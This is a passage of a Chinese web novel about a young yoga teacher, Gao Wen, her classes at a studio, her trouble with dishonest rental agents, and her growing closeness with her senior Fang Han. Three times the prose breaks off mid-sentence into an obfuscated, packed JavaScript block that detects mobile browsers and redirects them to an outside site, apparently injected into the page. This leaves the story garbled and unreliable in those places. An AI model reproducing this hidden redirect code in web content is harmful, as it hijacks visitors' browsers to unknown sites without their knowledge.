“虽然你是为了安慰我，但这个借口不够有说服力，”高雯的那双清眸看着方寒，唇角上扬，“如果我没记错的话，你在学校的时候，就已经有作品获得含金量很高的优秀奖。校招的时候，你的offer拿到手软吧？兜兜转转一圈，是不是没考虑好去哪一家？” “我不是那意思——” 高雯笑意更加漾开，点着头道：“当然，学霸世界里的失败和挫折，是我们无法理解的。可能当时的你，的确很迷茫。” “......” 方寒说不过高雯，只能无奈又着急解释。 高雯看着这样的方寒，心里头的郁闷沉重悉数消失，取而代之的是满脸笑意。接近林珩，会让她内心敲起警钟，恨不得赶紧逃离。 她也不想接触方寒，怕伤害他，但是和他相处，真的很开心放松。 4. 第4章 这顿饭，高雯还是没成功请方寒吃。 他中途去了趟洗手间，顺道就把单子买了，高雯虽抢了菜单，却扑了空。 她没法，总不能叫收银员把钱给方寒退回去。 方寒十分绅士送高雯去了地铁站，目送她的背影，站在原地踱步一会，这才恋恋不舍转身往回走。 * 辞掉工作后，高雯不用早起去上班，她又有了很多空余的时间。 天微微亮，高雯就起床了，洗漱好后，她可以练一个小时瑜伽，然后冲个澡，出门吃个早餐，还能慢悠悠去上课。 要是晚上的课，也不用太赶太累，还能在健身房锻炼结束才回来，那里也有很多辅助道具免费用。 除了这家健身房，她还找了两家健身房，一个星期也能再上五节课，其中四节还集中在周末两天，时间调配很自由。 高雯除了上课，就在自我训练，短短半个月的时间，她的能力突飞猛进，体态调整得更加好了。 这天晚上，高雯练了两个小时，洗过澡，擦了身体乳，摸了护发精油，再细细护肤后，她上了床。 高雯正要睡时，一个陌生电话打了过去。 她接起后，那头传来一道声音：“你明天有空来上早课吗？七点半的课。” 高雯：“请问你是哪一位？” “你是高雯吧？”那边语气有些不耐烦。 高雯：“嗯，是我。” “我是梵盈瑜伽馆这边的前台，明天早上七点半能试课，你能来上吗？课程是肩颈调理。” “可以。” “最晚七点十分要到瑜伽馆。” “好的。” 高雯话音未落，那头已经利落挂断，她看了看时间点，又想了想。 馆里的课程，一般都是提前一个星期排好，此时急匆匆打电话让她早上去上课，估计不是为了试课，而是临时安排不上老师，找她去救场，随便糊弄一下会员。 时间太早，只能打车去了，费用还不便宜。 高雯倒没想太多，她最终目的，肯定不在于健身房，而是要到瑜伽馆去。 这是个好机会，几处兼职的地方也都离得近。 次日，高雯又天不亮起床，还得麻烦宿管阿姨开个门，约了网约车，直奔梵盈瑜伽馆。 她到的时候，才七点。 前台打着哈欠指挥高雯：“教室在最里面，会员马上要来了，你快去铺垫子，早上人少，一共十三个会员，需要什么道具，你给她们拿上。” “我知道了。”高雯快速朝大教室去。 等前台温吞吞去教室时，看到动作利索的高雯，眼神闪了闪。 其实都应该是她做的活，但新人瑜伽老师，还不知道能不能留下来，她懒得伺候折腾，能偷懒就偷懒。 这个高雯，看着年纪小，还算指使得动。 前台又指挥高雯把垫子换了几个位置，高雯一一照做。 会员陆陆续续来了，前台笑脸相迎去接待。 这节课本来有二十个人约课，中途换了一个不认识的老师，不少人退了课，剩下的也就抱着来玩玩的心态，反正是肩颈理疗，不是什么有难度的课程。 几个会员相互寒暄，换了拖鞋，往大教室走。 她们走进来的时候，一眼就看到了背对着她们正在调试蓝牙音响的新老师。 对方身穿着一件可可棕的背心，细肩带的设计露出性感优美的后背线条，奶咖色的紧身瑜伽裤包裹着她那纤细笔直的双腿，将浑身的凹凸有致展现无遗。 她将头发全部扎起，露出了修长精致的脖颈，那肌肤白如美女，一下就把她们的眼球吸引过去了。 新来的瑜伽老师身材赏心悦目，就是她们理想中的样子，身材苗条纤柔，肌肤细嫩白皙，气质优雅，肉都很听话，只长在该长的地方。 高雯听闻动静，转身笑了笑，音色清甜软绵：“早上好。” 众人瞧见高雯的那张脸，皆是一愣。 她的脸蛋精致小巧，眉清目秀，唇色柔润，与她的身材气质相比，她的脸更为出众。 后来，有些会员回忆见到高雯的第一眼，如果非要形容，就是她的高雅印在了她每一个毛孔里。她的出现，就是最好的招牌。 不过，老会员看着高雯的脸，觉得到底是年纪太小了，好像有点稚嫩。 走在最前面的张妮，一下小跑到高雯面前，直勾勾看着她夸道：“老师，你长得好好看啊，太美了，身材也这么好，女娲捏你的时候是不是偏心啊？” 高雯都有些被她看害羞了，她连上蓝牙，打开了音乐，先做了自己介绍，随后道：“我们现在开始上课，大家把两块瑜伽砖并排放，简易坐在瑜伽砖上。” 大课里有不少老会员，她们有些觉得高雯年纪小，多少产生了一些轻视心理。 下一秒，随着轻柔的音乐，高雯软绵的语调变了，脸上的浅笑也悉数消失，声线微沉认真：“把坐骨最高点落在瑜伽砖上，手放在膝盖两侧，微收小腹，下巴平行往后移，轻轻闭上双眼。” 迟到的几个会员，进来后看到高雯，也稍稍一怔，她们一再放慢动作，悄悄往后走。 高雯的声线清缓，徐徐诱导道：“从尾骨的位置推着你的脊椎向上延伸，想象头顶心去寻找天花板，调整呼吸，吐气时，坐骨再往下沉——” 高雯的气场太强，一张口就让人感觉不一样了，有着超乎她年纪的经验老成，老会员都忍不住跟着她的引导词走，进入冥想调息。 “我们今天的课程是肩颈调理。”高雯在她们睁开双眼后轻声说。 其中一个老会员拧眉道：“为什么改成肩颈调理了？我约课的时候，课程不是写着站姿平衡吗？昨天晚上我才上了一节肩颈调理。” 站在门口的前台一阵尴尬，想到那个老会员的难缠，不由往后退了一步。 本来排的是站姿平衡，但高雯太年轻，又是新老师来试课的，约课中有不少老会员，她们有基础有功底。 肩颈理疗没有难度，站姿平衡则需要老师有两把刷子，要是连会员都不如，那不是砸她们的牌子吗？ 那个老师临时请假，找了一圈，因为太早，其他老师要么没空要么不想来，才让高雯来试课，顺便救个场。前台和馆长说了，对方默认，也抱着省一笔课时费的意思。 昨天晚上前台在群里通知了，一般来说，大家不会说什么，大课卡便宜，糊弄一下就过去了。 “课排的是肩颈理疗吗？”高雯疑惑。 老会员没好气道：“对啊，我约的就是这节课。” 张妮打圆场：“哎呀，我上什么课都无所谓，练腿很累，肩颈多轻松。” 高雯瞥了眼迟迟没敢进来的前台，收回视线轻声道：“不好意思，我们这节课上站姿平衡，大家把瑜伽砖暂时放在一边。” 她说着，率先往教具室走，拿了一堆弹力带出来分发。 张妮积极上前，帮她一起分发。 高雯对这个短发的会员，有了更深的印象。 开始上课前，高雯先带大家热了身，不是老会员都能很快发现这个新老师虽年轻，可不是什么新人，她动作标准，有自己的体系。 上课后，她们更是被高雯扎实的功底折服。 无论是手支撑平衡、还是侧板、斜板、半月式、锁腿式.....高雯都是边说边做，她的气息无比平稳，动作优雅规范，不紧不慢轻松拿捏。 看高雯示范就是一种享受。 会员们的注意力悉数集中在高雯身上。 “吸气——注意你的脊柱延展，脖颈往前伸，不能塌腰，手臂伸直，指尖点地。”高雯轻轻柔柔说着话，身子往前弯下来，粉润的指端触地。 “呼气——骨盆向前移，腹部紧贴大腿面，大腿肌肉收紧往上移动，颈部、肩部慢慢放松下来，重心来到前脚掌。” 高雯说着，双手慢慢抱住了她的大腿后侧，身子站立折叠在一起。 “哇——”张妮惊叹，无比佩服。 高雯手扶髋部，用呼吸带动身子慢慢回到山式，温声道：“下不去的学员不要勉强，手下垫瑜伽砖，一切以保护自己为前提。” 她说完，特意走到张妮身边提醒：“你要把瑜伽砖垫到最高，你的核心薄弱，注意脊柱延展不要塌腰，不然很容易受伤。” 张妮过于听话了，以至于她左顾右盼直接休息，连姿势都没摆，还想拿手机出来拍高雯。 高雯望过来，看着她嗓音清脆道：“战士第一式，你要跟着做。” 张妮神色讪讪把手机放在一边，有模有样模仿起来。 高雯走下来时，在张妮面前停留，她蹲了下来。张妮笑了笑，以为自己做得不错，结果高雯那双纤纤玉手，直接拍在她的脚背上：“请不要用你的抠地，抠不出两室一厅。” 张妮的脚指头瞬间放松下来，尴尬冲她笑。 高雯又伸出两根手指摁住她的大脚球，轻声道：“这里要用力，带动你的脚内沿发力，你的腿才能变直，走姿才能好看。” 张妮目瞪口呆，惊得低着头悄咪咪问：“你怎么知道我走路不好看？” “你认真点练很快就好看了，”高雯险些被逗笑，但回答得很认真，说完站起身又道，“虽然你的姿势摆得很好看，但我要帮你纠正一下。” 高雯手动帮她纠正，姿势一标准，张妮立刻吃力起来，双腿发抖发酸，汗水直冒，苦着脸声线颤颤道，“雯雯老师——” 一节课很快结束，大家都感觉汗流浃背却神清气爽。 有些老会员还意犹未尽，围着高雯在讨论。 张妮累得坐在瑜伽垫上直喘气，听着其他会员和高雯从瑜伽体式聊到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543567|186665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发力点，再聊到身体整体，都扯上脑部控制四肢的康复学了。 听不懂，反正很专业，很厉害的样子。 前台没想到高雯解决了这一次的小麻烦，还成功让几名老会员提出想要多上她的课，可以排一些小课。 张妮最为热情，一直说她要上高雯的小课，直言道：“雯雯老师算是我最喜欢的老师，我有空肯定来！” 前台拗不过会员，答应会跟店长说，尽量多排高雯的课，安抚会员。 会员心满意足离开了。 高雯离开时，前台也没和她多说几句话。 在她看来，这里不缺老师，高雯也就那样吧。 高雯并不在意，她还要赶着去健身房上课，拿着自己的包，匆匆就走了。 两天后，梵盈那边给高雯发了课程安排表，比她想得还要糟糕一点。 他们只能给高雯排最差周一的早课，因为没人想上。小班课则是可以自由选择课程，三人就开课，费用按节算，也是不好的时间点，一周三节。 高雯不挑，都答应下来，这些时间点正好和其他兼职错开了。 对她来说当务之急就是找房子，瑜伽馆上课早，要么下课晚，她都赶不回来，总不能打车，费用会比租房还贵。 * 周一晚上。 八点的时候，她在健身房上课，方寒给她发了条消息：【吃饭了吗？】 高雯看到了，但没回他。 她不想和方寒有过多聊天，慢慢冷却也是一个好方法。 方寒：【我明天会去学校那边一趟，把伞给你送过去？】 上一次吃饭，高雯满脑子想着去结账，匆忙间，遮阳伞忘记拿了，被方寒带了回去。 她不想和方寒有更多接触，只能狠心说不重要，她不要了。 实际上，那把遮阳伞很贵，是她好不容易找代购买回来，喜欢得很，现在都缺货买不到了。 高雯忍着肉疼打字：【不用了学长，我明天不在学校。一把伞而已，不用麻烦，不值钱，丢掉好了。】 方寒没接话，而是转移了话题：【你的兼职怎么样，还顺利吗？】 高雯：【很顺利，不过不需要租房子，兼职时间自由，回学校住就好了，还能省一笔。/微笑/】 方寒：【嗯嗯，那就好。】 ...... 高雯的小班课被安排在九点半，下完课都十点半了。 一下课，她就赶紧出了门，都来不及换衣服，提着包就往楼下去，看着时间，不断在打电话。 到了小区门口，高雯有些气喘吁吁，等得烦躁的大肚腩中介在看到她的后，停止了催促，反而道：“不着急啊，你慢慢来，我晚上都有空。” 高雯说：“不好意思，晚上还麻烦你带我去看房。” “应该的，这是我的工作。”中介笑容满脸。 高雯跟着他往前走，快速道：“这套房是主卧，有阳台和单独浴室，柜子和书桌什么都有吧？就是我在网上看到的那样。” “对，就是你在网上看到的那样。”中介面不改色说。 高雯心中的一块石头落地了：“一个月三千六，押一付三，对吗？” “额——”中介有些支支吾吾，“你先看房吧。” 高雯慢慢停住脚步，看着对方：“是有哪里不对吗？我们得先把话说清楚，我不是已经把条件和要求说得很清楚了吗？” 这里离得学校太远，她太忙了。 为了节省时间都会把要求和预算尽可能说清楚。 中介回头，理直气壮说道：“网上的房源都是骗你来的，不然你怎么来看房子？你要的那套也有，但你知道这地段，主卧带阳台还要大空间的，都得五六千一个月。” 高雯感到一阵无力：“我真的很着急找房子，也没有那么多时间。” “这里房源很棘手，一般人花更多钱都找不到，这一套你不要，明天就让人预订走了，六千都有人租！”中介变了脸色，话语很冲，还威胁起高雯。 高雯从早上五点就醒来奔波了，她累得连反驳都不想开口，垂眸就离开。 “我这大半夜来陪你看房，你说不看就不看了？”中介上前，伸手就要去拉高雯。 高雯也吓了一大跳，头皮都发麻了，刚想拔腿跑。 然而，中介的手还未触碰到她时，就被人大力拍开了。 高雯看到了突然出现的方寒。 他穿着一身休闲服，背着黑色单肩包，脸上还带着薄怒不悦，沉脸看着中介呵斥道：“你想做什么？” 中介哪敢和比他高一个头的方寒杠上，骂骂咧咧溜了。 等中介离开，方寒看向高雯，眼底有些局促不安和担忧，而高雯则她深深叹气，对上方寒的黑眸，十分心酸无奈道：“学长，实在不好意思，被你抓个正着。” 5. 第5章 高雯这段时间过得充实又糟糕。 不光到处上兼职，还得利用空闲时间找房子。 这一片的房子很难找。 哪怕她愿意多花一点钱，但房源依旧抢手，要么就是一些她根本不能接受的房子户型。 动不动还会被黑心中介骗。 在遇到这个恶心中介之前，就有一个更黑心的中介忽悠她交了两千块的定金，掰扯到最后房没见到，白白损失一千块。 来回通勤真的很累，再一次被骗，高雯都心凉了。 她想着，还有些后怕，自己也真胆大，这么晚了，还敢一个人跟着中介到处看房子，当真是急眼了，没办法。 高雯坐在小区内的长椅上。 方寒从不远处的便利店走过来。 他的手上拿着一瓶牛奶，走到高雯跟前，旋开后递给她温声道：“喝点吧。” “谢谢学长。”高雯接过来，依旧是她喜欢喝的牌子，牛奶是加温过的。 方寒坐在椅子另一边的边缘，两人中间隔了一个位置，很有分寸边界。 高雯连上了两节课，下课就忙着赶过来，的确口渴，连连喝了好几口。 她握着牛奶瓶，垂眸看着。 倏然，高雯的眼前出现了一把叠好的小伞。 “丢掉了可惜，正好还你了。”方寒不知道从哪拿出她的小伞。 高雯顿了顿，才伸手接过来，语气有些愧疚感动：“谢谢学长。” 这把伞，真的挺好用，她很喜欢。 方寒抿唇，双手交叉，手肘撑在大腿上，身子微微有些前倾，看着前面的大树，主动解释道：“我师哥住在这个小区，我来帮他一起处理点工作上的事情。” 高雯：“这样啊，解决了吗？” 她知道，他是很热心的人，没什么乱七八糟的社交，圈子单一，但朋友很多。 “嗯，忙了一个晚上，”方寒笑，“算是解决了。” 高雯点了点头。 接下来，两人都没说话，又是一阵寂静。 时间晚了，路上没什么人，周身都是虫鸣的声音，微风徐徐。 方寒抬手，频繁看运动手表上的时间。 高雯瞥见他的动作，侧头出言道：“学长，你着急回去吗？是不是赶时间？” “不，我不着急。”方寒连声否认，随后薄唇动了动，看着她有些欲言又止。 高雯轻笑出声，主动戳穿他的担忧：“十一点二十了，我就是打车，也赶不回学校了。” 寝室已经断电了，黑灯瞎火，她赶回去也难熬。 她就是这么了解方寒，他这人明明都看见她找房子了，她刚刚还主动告知被他抓包，但他不会过多干涉，不会问。 哪怕关心她，也不愿意让她难堪，属实是一个过于为人着想的人。 “那怎么办？”方寒的确是担心这个。 高雯伸手拍了拍她旁边的包：“我这几天兼职比较晚，就带了衣服和洗漱用品，如果赶不回去，就找个酒店凑合一晚。” 说起这个，高雯就肉疼。 她要求还挺高，小酒店卫生环境不过关，她矫情住不惯，好一点的酒店贵，住一个晚上酒店，两天兼职的钱就搭进去了，白忙活。 来回打车是钱，住酒店也是钱，找房子还要被骗，高雯心里又苦又闷。 “住酒店也好，晚上记得反锁好门。”方寒放了点心，随后叮嘱。 听言，高雯侧头看向方寒，突然出声问：“学长，你们那里的主卧，还能不能租？” 高雯这么一问，方寒与她对视，神色都有些不自然，下意识接话：“能，你要租吗？” 他说出口后，又觉得这样显得自己太急，不怀好意，补充道：“我还可以帮你多找找其他房源，这一片出租的房子还挺多。” 方寒不清楚高雯为什么骗他说不需要租房子，却私底下到处找房子。 既然她没有主动要租，必然有她的理由。 他没必要让她为难。 “噢，”高雯点了点头，“我听出来了，你不欢迎我。” “不是，”方寒一听她曲解自己的意思，神色慌张着急认真解释，“我真不是那个意思，怎么可能——” 他话未说完，对上了高雯那双似水清眸，她柳眉弯弯，唇角含笑，明显是在逗他。 方寒脸色缓和下来，心跳如鼓点般急切，他强稳着声线一字一顿道：“你愿意的话，随时欢迎。” 高雯喝了口牛奶，悠悠道：“我其实是不想欠你太多，但要是再不租到房子，我的兼职就白做了，钱没挣到，忙得不行，日子都过不下去了。” 哪怕她住得远一点，看得入眼的酒店都得四五百一天。 天都没亮就要起来化妆，匆匆忙忙打车上班，到头来什么都没剩下。 高雯觉得她现在的日子都快过不下去，太累了。 她迫切需要租到一个房子，有个安身之所。 “这有什么欠不欠的？”方寒扭头看向她，拧眉不赞同说。 “我看了这么久房子，就没遇到价格那么低还那么好的，而且，为什么那么好的房源没有租出去？”高雯乌黑的眼眸紧盯着方寒问。 方寒的唇瓣无意识紧抿，脸颊不由自主升温，像是被电流击中一样，好不容易平稳的心跳再一次剧烈跳动。 在高雯灼热的目光下，他老实交代：“我有个闲置的平板，他正好需要。听说我在给你找房子，就提出可以少一点房租，算是抵消了。” 方寒说完，轻声道：“就算不减房租，那个平板也会给他，你不用觉得欠我什么。等合约到期了，你找到更合适的，再搬出去就行了。” “好吧，”高雯了然，笑着冲他竖起大拇指，“算你人大方，是好人。” 她也是这么想的，她暂时歇歇脚，喘一口气，到时候再慢慢找房子。两个半月而已，方寒很忙，她也很忙，要是不那么刻意，应该不会有太多交集。 方寒：“......” 他的阅读理解能力挺好，但此时居然听不出褒贬。 “你饿不饿？”高雯询问。 “你饿了？”方寒神色关心。 “......”高雯笑着点头，“对，我请你吃晚餐，要不要陪我一起去？” 这段时间，找房子一直是她心里的头等大事，想通了之后，解决一件大事，心里的大石头就落地了。 高雯今天忙，晚餐只吃了一个面包，她现在心情不错，晚餐只吃减脂餐的她突然嘴馋想吃点什么。 “可以啊。”方寒素来不会拒绝她。 两人并肩，往小区门口走。 橘黄色的灯光，拉长了两人的背影，此起彼伏的虫鸣声里，时不时掺杂了两人的谈话声和低沉清脆的笑声。 饶是到了凌晨，作为繁华地带，霓虹灯依旧亮如白昼。 两人进入一家连锁夜宵店，装修风格复古，还是一个个开放小包间，高雯很满意。 “两位看看吃点什么，这里有菜单，也可以扫码点单。”服务员拿来茶水和小吃水果，笑着招呼。 “谢谢。”高雯见方寒扫了码，她伸手把他的手机抢了过来，放在一边。 她的动作太快，方寒怔愣看着她。 高雯把自己的手机塞给他，提高声调道，“上次说好是我请客，结果你又抢先了，这一次必须是我请，就当你给我找了房子，不然我心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543568|186665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里过意不去，搬进去住得也不舒坦。” “我兼职做得挺好，工资比上班还高，这点小钱，你不用担心我付不起。” 方寒看着被塞到手里的手机，含笑点着头，“我知道了。” “嗯。”高雯又把他那个折叠屏手机推得远一点，自己则低头翻看菜单，研究想要吃什么。 方寒的注意力根本不在菜单上，他感觉这个手机上还残留着她的温度，炽热得让他手心都微微出汗。 他的余光看向高雯，她垂眸看着菜单，纤细白皙的指尖正在菜单上轻滑着，看得无比认真。 店内生意很好，有些嘈杂热闹。方寒却很清晰能听到自己不断加速的心跳，面对她，他永远无法控制内心的悸动。 “学长，你吃什么？”高雯身子向前，突然抬头问一句。 方寒呼吸错乱了，唇角抑制不住勾起笑着道：“.....来个招牌吧，味道总错不了。” “也对。” ...... 方寒这回的确没和高雯抢着结账，她全程都盯着他。手机一亮，他下意识要拿过来，看到高雯看过来的神色，失笑收回了手。 况且，高雯都那么说了，他也不想让她心里过意不去。 他所做的一切，初衷仅仅是想帮帮她，为她好而已。 吃完夜宵，时间很晚了。 这个点，早就过了高雯的生物钟，从夜宵店走出来，她就不断打哈欠，眼皮沉重。 她只能就近找一家酒店。 方寒不放心她一个人，陪着她一起过去。 “你好，麻烦把身份证给我。”前台微笑服务。 “给。”高雯把身份证递过去。 前台看了看她，又看向一旁的方寒，礼貌提醒：“情侣入住，两位的身份证都要。” 此言一出，高雯和方寒纷纷尴尬错乱起来，高雯都感觉自己的脸在烧，脑袋卡壳了。 饶是前一世，她和方寒都没在一间房间相处过。 “她一个人住，我不住，我送她到房间门口，等她进去后，我就下来。”方寒镇定解释，垂落的手微微收拢，呼吸已经错乱了。 “要是入住的话，就必须要录入信息，这是我们的工作，也请谅解。”前台笑着说，那副样子，就好像见多了小情侣的把戏。 高雯张了张口，刚想说些什么，前台就笑着把房卡双手递过来：“十一楼，1105，电梯在右边直走，入住愉快。” “.....谢谢。” 高雯接过房卡，往电梯走时候，还能感受到前台在背后的注视，对方似乎还无奈叹息了一声，好似在说：小年轻罢了，多开几次房就淡定了。 高雯莫名觉得有些羞窘尴尬，以至于她和方寒在电梯内，都觉得有些不自在。 方寒也好不到哪里去，出了电梯门，他故意慢了一步，和高雯保持一点距离，到了房门前，他离她足有两步远。 在高雯开门进去时，方寒没忍住再一次叮嘱：“记得把门反锁，有事打我电话。” 这话让迫不及待进门的高雯放慢了动作，探出半个身子对方寒道：“学长，我知道了，你快回去吧。” “嗯。”方寒没多停留，转身离开。 “砰——” 身后的门关上，方寒才停住匆忙的脚步，他回头望着那扇门，目光炽热盯着好一会。 一想到高雯要搬进来一起合租，两人能常常见面，方寒心情变得异常愉悦，嘴角都噙了笑意。 门后，高雯后背抵着门，双手捧着自己的脸，想到前台刚刚说的话，简直羞愤欲死，她又气又羞，走到床边，直接扑在床上，把脸埋在被子里闷声嘀咕：“什么跟什么呀？！” 6. 第6章 瑜伽馆内。 高雯正在坐在瑜伽垫上拉伸。 她刚下了一节课，下一节课在半个小时后。 没上课的时候，高雯都会自我练习。 “嗡嗡嗡——” 手机亮起，传来提示音。 高雯将手机拿过来。 方寒：【图片】 方寒：【我晚上有空，需要帮你组装桌子吗？】 高雯点开方寒发来的照片，手指快速打字发出去：【这些快递都是我的？】 照片的小推车上是大大小小几十个快递，最显眼的就是那个大桌子，方寒问的也是这个需不需要帮她组装。 方寒：【嗯，一共三十二个。】 高雯：【不好意思，我手贱买多了。】 这几天高雯都比较忙，她的小课从一开始的每周三节，都排到了一天一节，有时候得两三节。 纯粹是会员自己要求加课，因为每节课都是满员，约不上。 这也就导致搬家被高雯推到了周末，因为方寒休息，能帮她搭把手，不然她一个人还真忙不过来。 趁着一些空闲时间，高雯把自己需要的东西从网上下单，拜托方寒有空的时候帮她去取了拿回去。 她是真没想到有这么多。 方寒很快回：【不算多，我也有快递要取，顺道的事情。】 高雯还是很尴尬，他取自己的快递，哪还需要用推车：【学长，你先不用帮我组装，我还没想到放哪呢。】 方寒看到高雯回的消息，又看了看拉车上的桌子大快递，眼底还有些失落：【好。】 高雯还想和他说些什么，张妮就从门口走进来，顶着个大笑脸亲热道：“雯雯老师~~~~” 张妮属于上高雯课最勤快的会员，除了晚上要带孩子，白天的课她都会来。 她和高雯说自己生了孩子又胖又不好看，走姿有问题腿也不直，浑身都是毛病。话语间，都能感受到强烈的自卑，还说自己从生孩子后，老公事业有了起色，但也很忙，她自己则一无是处。 其实没那么严重，张妮长的清秀，够高够白，就是孕期长了点肉，恢复得也不错。大部分的人姿势都不完美，高雯跟她说可以练回来，身形体态都能改变。 张妮也就比高雯大两岁，她毕业就结婚了，看起来单纯得跟大学生似的，每次都早来十分钟，就是为了和高雯唠唠嗑聊聊天。 “下午好。”高雯起身，往教具室走，将手机靠近嘴边，压低声音说道，“学长，我先上课了，拜拜。” 方寒将快递往高雯要住的主卧搬，收到她发来的语音时，盯着看了两秒，这才点开，放在耳边听。 “学长——” 一道温软清甜的声线传出来，方寒的手一抖，手机都险些掉下来，他耳尖微微发红，第一时间慌忙关小音量，往四周看了眼。 分明知道没人，方寒还是心如擂鼓，都怪买的折叠屏手机太重了，下次肯定换掉！ 他把门关上了，再一次点开语音，凑近耳边听。 另一头。 高雯拿着教具往外走，将手机静音放在一边。 她上课严谨负责，只要会员来了，她就会进入上课状态，带着一股儿认真劲儿。 “谢谢~~~”张妮接过自己的教具，她站起身来，双腿合并，“雯雯老师，你说我多练练腿，我的腿是不是就会变得又直又细啊？” “你要从足弓开始练，找对发力点打好根基，再练膝盖、练髋，你的走姿就会有变化，腿自然而然就直了，单练腿没用。”高雯把教具放在其他几个瑜伽垫旁。 听言，张妮惊喜提高声调：“我就知道，你是个优秀的瑜伽老师！你是专业的！” 高雯正在开窗，听到她这么说回了头，猛地被夸，她都害羞了。 张妮有些兴奋道：“我以前在别的馆上过私教课，练了几十节腿都没变化，还闪了腰，最后那个老师都不好意思让我接着报课了。医院的康复师跟我说，那个瑜伽老师是个半吊子，别跟着瞎练伤身体，除非遇到让我从足弓开始练的瑜伽老师，那可以跟着学习。” 张妮说这话时，其他几个小课会员陆陆续续进来，听了个正着。 其中有个老大姐还道：“雯雯老师不仅认真，还特别舍得用劲，生怕我们上这节课白花钱了。” “可不是嘛，太认真负责啦！” “我第一节课就发现了，现在都盯着她的小课预约，晚点就没了。” “我也是。” ...... 五个会员纷纷说着。 她们是老会员了，老师用不用心，她们心里都门清儿。 下课时，她们都会夸高雯认真负责，等到了上课，她们又是一副样子，因为高雯太狠了。 高雯来到张妮身边，看着她东倒西歪，脚趾不断抠地，一脚踩在她的脚上，轻声提醒：“大脚球用力，脚内沿发力。” 张妮听话照做，身子平稳不少，她冲高雯咧嘴笑。 高雯此时一点都没有下课时的平易近人和随意好相处，她伸出手轻放在她的腿上，认真问：“为什么你的腿没发力？” “我发力了。”张妮反驳。 “现在有点了，”高雯强调，“只是一点点点，那么微不足道。” “........”张妮咬了牙，绷紧大腿。 “现在才叫发力了，它抖了。”高雯说。 细汗从张妮的额头溢出，她顾不上回答高雯的话。 高雯又伸出她的三根手指，扶住张妮抬起来的腿，再次看向她：“你这是把我的手当支撑了吗？用你自己的力量，把你的脚抬起来，离开我的手。” 张妮：“！！！” “离开我的手。”高雯再一次提醒，一点都没开玩笑的意思，并且，还没有商量的余地。 张妮大腿开始疯狂发颤发抖，汗水直冒，不断往下滴，呼吸变得急促。 “很好，”高雯收回手，轻声夸赞，“很棒，你的姿势非常标准漂亮，我们再坚持一会。” 这句话带来的力量，让快要泄气的张妮再一次咬紧牙，心底倒数着数，坚持再坚持。 她最棒！最棒！ 高雯往另一个会员身边走。 张妮虽然是最菜的，但没人笑话她，因为在高雯的课上，每个人都有自己的“苦果”要吃，人人有份，不用着急。 高雯会根据每个会员的水平，相对应加深训练，确保每一个人在课上的每一分钟，都不会白白浪费。 就像会员所说，高雯丝毫不吝啬自己的力气，二话不说就会上手，不介意帮一帮她们启动更深层的肌肉。 “这节课我们就上到这里，谢谢大家。” “啪啪啪啪——” 高雯一说下课，大家恨不得拍破手掌。 其中一个老会员喘着气擦汗往外走：“终于熬到下课了，今天又是练到的一天，谢谢雯雯老师。” 张妮在瑜伽垫上瘫着，躺了一会，她看着湿透了的毛巾，对高雯道：“我老公还不同意我来上你课，你看看，流了多少汗！我都多久没这么勤快上进了。” 高雯冲张妮笑了笑，她拿着手机，看了看自己还有多少快递，又回了方寒的消息。 张妮捏紧拳头：“不行，我得再报一些课，跟着你学习，必须让我老公对我刮目相看。” 走在门口的前台，一听张妮说要报课，内心欢喜。 报课她就有业绩啊，张妮这种单纯的人又好忽悠，可以让她多屯点课。 没等前台走进去，就听高雯道：“你的课不是还剩几十节吗？先上完再说吧。” 她没记错的话，张妮买的课都是通用的。 “也行，我都听你的，”张妮对高雯又是一阵夸，“我觉得你和她们都不一样。” 都不忽悠她买课！ 门外，前台拉了脸，觉得高雯就像白痴。 不懂忽悠客户，从她们口袋里拿钱，能有什么大出息？！ * 周六。 高雯天蒙蒙亮就起床了，练一个小时瑜伽，雷打不动自律。 她洗澡后，此时天色大亮。 高雯换上衣服下了楼，先去了一食堂，买一杯无糖黑芝麻豆浆和一个包子当早餐。 这是她早餐的常配。 也不知道是不是这个原因，高雯在保养头发上并未花什么心思，她的发质却很乌黑顺滑有光泽，还被问过很多次是怎么保养的。 吃完早餐，高雯去了快递驿站。 她取了学校里的快递，想向快递小哥买两个打包的纸盒子。 快递小哥没收钱，反而送了她三个。 “谢谢啊。”高雯道了谢，留下了一瓶她刚刚买的鲜牛奶，加温过的。 高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方寒猜对了，他的眸光里染上笑意，将纸盒子打开：“好。” 高雯下午有课，留给他们搬家的时间不多，两人分工合作。 她收拾，他整理装箱。 衣服已经被高雯收进行李箱。 这三年来，寝室就是她的家，所以杂物很多，别说三个纸箱子，就连高雯提前准备的那几个纸盒子都用完了，还有好几个分类好的大袋子和两个行李箱。 高雯看着满满当当的行李，对她来说，真的是搬家。 她累得坐在椅子上，接起打来的电话：“喂，师傅。” 这么多的行李，自然要找搬家公司，一辆货拉拉就足够了。 高雯对着电话那头道：“您开到寝室楼下，我给您单独加钱，您上楼帮我把行李搬下去行吗？” 